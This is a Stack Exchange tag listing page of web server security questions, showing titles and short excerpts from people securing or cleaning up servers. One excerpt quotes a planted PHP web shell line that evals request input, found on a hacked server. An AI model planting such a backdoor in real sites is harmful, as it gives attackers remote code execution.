Questions tagged [webserver]

A system whose primary function is to deliver web pages on request to clients.

Filter by
Sorted by
Tagged with
1
vote
0answers
78 views

How to list user and group access on an unfamiliar Linux system? [closed]

Say you're handed a system that you're unfamiliar with, it's a Linux OS and you want to find out it's users are not able to do anything they're not supposed to, that users/groups wouldn't allow ...
1
vote
1answer
3k views

If I use a Python socket over localhost, are there security concerns I need to be aware of?

I am implementing a simple socket in Python to pass data back and forth between two scripts running on the same machine (unfortunately, a socket is the only possible setup for my situation). This ...
4
votes
4answers
244 views

Finding web application on webserver having only IP

I am trying to find all web application running on web server. The only information I have is IP address of web server, for example 192.168.1.100. My approach was to check the existence of web ...
1
vote
1answer
315 views

How does a user get authenticated on server B if they are already authenticated on server A through OAuth2?

Lets say I have server A (a web server). Users initially use an external provider such as Google to get authenticated on that server. An entry is created in my database saying that this user has ...
2
votes
1answer
87 views

Apache 2.4 log question

Documentation for Apache 2.4 states that: Anyone who can write to the directory where Apache httpd is writing a log file can almost certainly gain access to the uid that the server is started as, ...
0
votes
1answer
74 views

New files appearing on my web server (I did not create)

I recently had a keylogger on my computer recording usernames and passwords including their respective web addresses. I have changed all my passwords however on my web hosting account, in the FTP, ...
0
votes
2answers
97 views

Should I change format and/or add data to image files in a file upload?

I am designing an image upload platform to my website and was thinking about a few recommendations I found online which were NOT outlined in the OWASP unrestricted file upload list. Those security ...
3
votes
1answer
513 views

Storing database credentials for multi server, multi db environment

What's the best practice for storing database credentials for an auto scaling environment, yet also requiring the ability to update database information? For instance I have an auto-scaling site on ...
0
votes
1answer
89 views

Is it a risk running old modules on Apache?

I just saw that my hoster is running extremly old modules on Apache. The cURL Version is 3 years old, the SQLLite is from the 24th October 2014 and the zlib version is 1.2.8 instead of 1.2.11. Also, ...
2
votes
2answers
336 views

What are the dangers of hot-linking assets from other websites

Say there is a situation where site a is directly linking a font file ie https://www.example.com/FONT.woff2 from site b. Would it be possible for someone to make a URL rewrite rule to point to a ...
-2
votes
1answer
131 views

How to know the vulnerabilities of my website? [closed]

My website had been hacked. Hackers were able to access my database and inject some script into my database, now although I have recovered my website but I want to protect my website from further ...
1
vote
3answers
202 views

Securing a Ubuntu web server on cloud for a web application

I am about to publish a python web application. The server is an Ubuntu remote machine hosted by 1&1. For now I start remotly the python server app with a console command. Concerning the ...
1
vote
3answers
8k views

How to chose a port to run an application on localhost? [closed]

I'm considering developing a web application for my own usage on desktop, running on localhost, automatically launched at startup. I'll need to chose a port to do so. What I'm uneasy about is the ...
1
vote
1answer
428 views

Potential added risks of using Docker in production servers

What are the added security risks of using a dockerized container to deploy a production server? Not interested in risks that would exist anyway in deploying a production server the traditional way,...
1
vote
7answers
1k views

How to protect unauthorized logins in case DB server gets compromised?

Generally what happens when an user registers to a web app is that their passwords get hashed well, so even if a DB leak happens, getting the original password is not feasible. But what happens if an ...
0
votes
2answers
4k views

Directory traversal in a URL?

Scenario: I have a webserver running nginx. I have my html files in /var/www/ and pictures in /var/www/pictures/ However, I also have some secret pictures in /var/www/pictures/secretpics/ which I ...
2
votes
1answer
9k views

How to store openssl CA private key securely [duplicate]

We are in the phase of implementing SSL certificates for UI access to our components (we have an internal Root CA to whom we send the CSR generated in openSSL) and we're wondering where would be the ...
1
vote
0answers
47 views

apache access log grew smaller [closed]

I used this command twice in the same day: grep'21/Aug/2017:'/var/log/apache2/access.log | awk '{print $1}' | sort - k2nr | uniq -c |wc -l and first time it returned a number bigger than the second ...
3
votes
0answers
365 views

Memory and CPU usage during a denial of service attack. How to understand the data?

The Debian crontab file that is a web server Apache has the line: */2 * * * * echo -e "`date`\n\n`free` \n\n`vmstat`\n" >> /home/hacker/free_vmstat_output.txt I ...
0
votes
1answer
202 views

Is Hamachi on a Linux production server a big system vulnerability?

The production server I am administrating can only be accessed through the company-network. However, if I have to do maintenance while not in the office, I can't access the server. Could I let ...
3
votes
2answers
288 views

Why do login forms still use 'name = “pass”' or similar?

Given that there are many password sniffing MitM scripts out there that comb traffic for key-phrases like "pass" and "password". Why do manufacturers keep the same variable names and make it easy for ...
0
votes
3answers
529 views

How can I determine from where injected script came from?

I have a server that currently has been hacked. Files are being created on my server which has content of this type: if(isset($_REQUEST['oUS'])){/*PJEG*/eval($_REQUEST['oUS']);/*z*/exit;/*Lv*/} Or ...
1
vote
3answers
2k views

Is Open Port 25 on Web Server dangerous?

Port 25 of a web server is open. We dont have any email server, since we use google mail server, but still port 25 is open. Is it dangerous to keep it open? If it can be attacked then how it can be ...
28
votes
2answers
4k views

What are possible security problems of enabling HTTP2?

I want to enable HTTP2 for several web servers but I'm worried about the possible security implications. I think about something like: HTTP2 implementations are maybe more error prone than mature ...
3
votes
1answer
241 views

Why would an attacker authenticate to my Google Search Console?

Someone uploaded (I don't know how how but I think via my Wordpress which was outdated for just a day...) a Google Search Console authentication to my server. I just realized this because Google ...
0
votes
1answer
1k views

Alternatives to basic and digest authentication in HTTP when resources are constrained

I'm currently implementing a small webserver on an embedded platform which is quite resource-constrained. I am planning to use unsecured communication because TLS might not be possible in my embedded ...
9
votes
1answer
6k views

Apache - strange requests in logs

I'm running webserver on Debian8 64bit (2.6.32-042stab120.16) with Apache/2.4.10. Today in Apache access.log I found these entries: 164.52.7.132 - - [26/Jun/2017:07:16:23 -0400] "\x16\x03\x01\x01\"\...
4
votes
3answers
237 views

Practically, when good password policies are used, how much is gained from SSH keys? [duplicate]

Background: I am running my own servers for personal use, I have complete control over all passwords used and for the foreseeable future things will stay this way. I understand the arguments for why ...
3
votes
1answer
1k views

How to encrypt sensitive user data and transport it between client and server securely?

I'll try to be as brief as straight to the point as possible, i'm new to this so please bare with me! I might be committing a massive mistake and not even realised! Please HELP! [facepalm emoji] ...
6
votes
1answer
185 views

What is the proper terminology and base CVSS score for the following cache related behaviour?

An interface (website/application) that requires authentication should have a proper HTTP caching mechanism. When it doesn't, it allows an attacker to browse back after logout or read the cache in ...
1
vote
1answer
2k views

Pre-shared key authentication between webservers for some security

I have a front-end web server that's calling an API on another web server using GET requests (both hosted by me). It's not critical that outsiders cannot use the API, but I would like to make it ...
2
votes
0answers
95 views

How to securely manage generating files on the client-side to download

While searching for a way to convert an HTML table to .CSV file, I found there are 2 ways to generate files to download on the client side with JavaScript: using data URLs by generating the file on ...
2
votes
2answers
515 views

Does an unused ftp account pose a security risk?

I'm using BlueHost and have a few websites on my hosting. I decided to stop being lazy and start implementing some better security policies on my own part. Since FTP isn't secure, I changed to SFTP. ...
3
votes
1answer
198 views

Security implications of a missing SCSV, but with only TLS 1.2 allowed

Similar to this security stackexchange question, I was wondering if there's any downside, considering the services/servers security, if only TLS 1.2 allowed, but TLS Fallback Signaling Cipher Suite ...
1
vote
3answers
107 views

Security of a website - shared hosting

If I host my website in a shared hosting, then do i need to worry about how much secure other websites are which are hosted in the same server? My website developer is saying so and he is advising me ...
1
vote
6answers
2k views

Downloading a file from a server with a secret: in text or binary?

Suppose, a user can click a button on a website and downloads a file with a secret. Via ajax. Is it more secure if a server generates that file and sends it as 1) zip, tar or the like -- a binary ...
2
votes
1answer
622 views

Connection timeout error using HTTP Status Code Checkers on a website [closed]

PROBLEM When I use online tools to test www.bestbuy.com URL's, I get a timeout connection error. By online tools I mean HTTP Status Code Checkers or Redirection Checkers. EXPECTED BEHAVIOUR I ...
15
votes
1answer
7k views

What security advantages does Hashicorp Vault have over storing secrets (passwords, API keys) in environment variables?

There seems to be a general recommendation to store secrets in the Hashicorp Vault instance (or similar key-management software) and avoid passing secrets via environment variables. In what particular ...
0
votes
4answers
156 views

Security risks other than those [closed]

I'm working on ASP.NET core MVC website, and I don't know if I'm missing any security risks that I need to watch out for (other than logical ones) Here is a list of what I've studied and what I've ...
0
votes
1answer
1k views

Website uses an unsupported protocol. ERR_SSL_VERSION_OR_CIPHER_MISMATCH

I just installed a new wildcard certificate on my Ubuntu server (there was a single certificate installed before). I modified /etc/apache2/sites-available/000-default.conf which is for one specific ...
1
vote
1answer
905 views

Host header attacks: Possible exploits

We have an API server hosted with amazon elb. The server has only one virtual host and hence it doesn't enforce Host header. But if we manually add a Host header along with the request with a valid ...
1
vote
2answers
255 views

Should I be concerned with fake accounts registered on my website?

I own a website ( Ostetso ) that is targeted at iOS app developers. We provide cloud services for developers who want to add a social network into their apps. On the website, users can download our ...
1
vote
1answer
68 views

Best practice / Risk Assessment payment websites

I have two websites which do both accept payments on a subdomain. The subdomain is an independent system from the main website. I have a question regarding the best practice to decide which of the ...
75
votes
6answers
11k views

Should I reject a CSR when the host emailed me the private key for SSL certificate request?

I just requested a CSR from my shared web hosting provider, to generate a certificate which I will send back to them to install. (The certificate itself is to be generated properly by an organisation ...
1
vote
1answer
411 views

Is only using one IP address version (IPv4/IPv6) an availability risk?

Most websites configure their domain name server records only with A records for the use in IPv4 networks only. Some websites have configured AAAA records as well for use in IPv6 networks, using both ...
1
vote
0answers
22 views

How can I study/replicate multiple vulnerability types in a specific software?

I'm interested in studying the effects (crashes, signals sent, logs, etc.) of different types of exploited vulnerabilities (DoS, ROP, remote shells, etc.) in specific software (particularly webservers ...
6
votes
1answer
351 views

Multiple SSL certificates on load balancer

We are discussing with our Operations department about wildcard SSL certificates. Our purpose is to forbid all wildcard certificate (like *.domain.com) for internet exposed web application because of ...
4
votes
2answers
616 views

Should I publish IP addresses that try to brute force my private web server?

Ethically and legally, am I allowed to publish IP addresses that tried to brute force my LAMP server? It's a personal website/blog that gets brute forced a lot and I would like to publish them to my ...
2
votes
0answers
136 views

Developing hidden onion servers [closed]

I was wondering which language is best to build a .onion website (PHP, Python, ...). Which language is more secure and which frameworks are more secure? Is it a good idea to use CSS (Cascading Style ...
1
vote
3answers
354 views

How to defend against a CSRF from the same website?

All of the solutions (use of tokens, for example) I have seen so far detail how to prevent a CSRF from an external website i.e. prevent a CSRF from evil.com to victim.com. However, how would one ...

1
3 4
5
6 7
18